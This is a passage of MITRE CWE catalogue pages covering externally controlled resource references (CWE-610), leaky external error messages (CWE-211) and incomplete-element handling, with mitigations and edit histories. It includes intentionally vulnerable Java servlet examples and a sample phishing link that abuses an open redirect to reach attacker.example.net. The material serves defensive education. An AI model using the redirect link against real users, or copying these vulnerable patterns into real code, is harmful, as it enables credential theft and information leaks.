Specify arbitrary modules using environment variable.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

A product system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Phase: Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using an allowlist, and use a different namespace or naming convention if possible.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps Missing variable initialization, especially in PHP.

Applicable Platform

This is often found in PHP due to register_globals and the common practice of storing library/include files under the web document root so that they are available using a direct request.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExternal initialization of trusted variables or values
Software Fault PatternsSFP25Tainted input to variable
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITRE
updated Description, Name, Relationships
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Description
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11External Initialization of Trusted Variables or Values
2010-02-16External Initialization of Trusted Variables

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID: 610
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.384Session Fixation
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.441Unintended Proxy or Intermediary ('Confused Deputy')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.601URL Redirection to Untrusted Site ('Open Redirect')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.611Improper Restriction of XML External Entity Reference
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.386Symbolic Name not Mapping to Correct Object
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.384Session Fixation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.601URL Redirection to Untrusted Site ('Open Redirect')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.611Improper Restriction of XML External Entity Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.918Server-Side Request Forgery (SSRF)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1021Improper Restriction of Rendered UI Layers or Frames
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Demonstrative Examples

Example 1

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

(bad code)
Example Language: Java 
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String query = request.getQueryString();
if (query.contains("url")) {
String url = request.getParameter("url");
response.sendRedirect(url);
}
}
}

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

(attack code)
Example Language: HTML 
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

+ Observed Examples
ReferenceDescription
An email client does not block loading of remote objects in a nested document.
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Cryptography API uses unsafe reflection when deserializing a private key
Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)
Recruiter software allows reading arbitrary files using XXE
Database system allows attackers to bypass sandbox restrictions by using the Reflection API.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Maintenance_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Externally Controlled Reference to an Internal Resource

CWE-211: Externally-Generated Error Message Containing Sensitive Information

Weakness ID: 211
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the product, such as an error generated by the programming language interpreter that a software application uses. The error can contain sensitive system information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.535Exposure of Information Through Shell Error Message
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.536Servlet Runtime Error Message Containing Sensitive Information
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.537Java Runtime Error Message Containing Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1016Limit Exposure
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignPHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, other languages/environments exhibit the same issue.
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

(bad code)
Example Language: Java 
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");

// May cause unchecked NullPointerException.
if (username.length() < 10) {
...
}
}

Example 2

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

(bad code)
Example Language: Java 
public class InputFileRead {
private File readFile = null;
private FileReader reader = null;
private String inputFilePath = null;
private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";

public InputFileRead() {
inputFilePath = DEFAULT_FILE_PATH;
}

public void setInputFile(String inputFile) {

/* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
}

public void readInputFile() {
try {
reader = new FileReader(readFile);
...
} catch (RuntimeException rex) {
System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");


} catch (FileNotFoundException ex) {...}
}
}

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

+ Observed Examples
ReferenceDescription
chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.
Single "'" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.
chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.
invalid parameter triggers a failure to find an include file, leading to infoleak in error message.
Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.
Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message.
+ Potential Mitigations

Phase: System Configuration

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable display_errors.

Phases: Implementation; Build and Compilation

Strategy: Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phases: Implementation; Build and Compilation

Strategy: Environment Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

Phase: Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Functional Areas
  • Error Handling
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is inherently a resultant vulnerability from a weakness within the product or an interaction error.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERProduct-External Error Message Infoleak
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Description, Enabling_Factors_for_Exploitation, Functional_Areas, Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Observed_Examples
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Name
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Product-External Error Message Information Leak
2012-10-30Information Exposure Through External Error Message
2020-02-24Information Exposure Through Externally-Generated Error Message

CWE-239: Failure to Handle Incomplete Element

Weakness ID: 239
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when a particular element is not completely specified.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.237Improper Handling of Structural Elements
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State

+ Observed Examples
ReferenceDescription
HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it.
Partial request is not timed out.
MFV. CPU exhaustion in printer via partial printing request then early termination of connection.
CPU consumption by sending incomplete HTTP requests and leaving the connections open.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncomplete Element
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Incomplete Element

CWE-234: Failure to Handle Missing Parameter

Weakness ID: 234
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
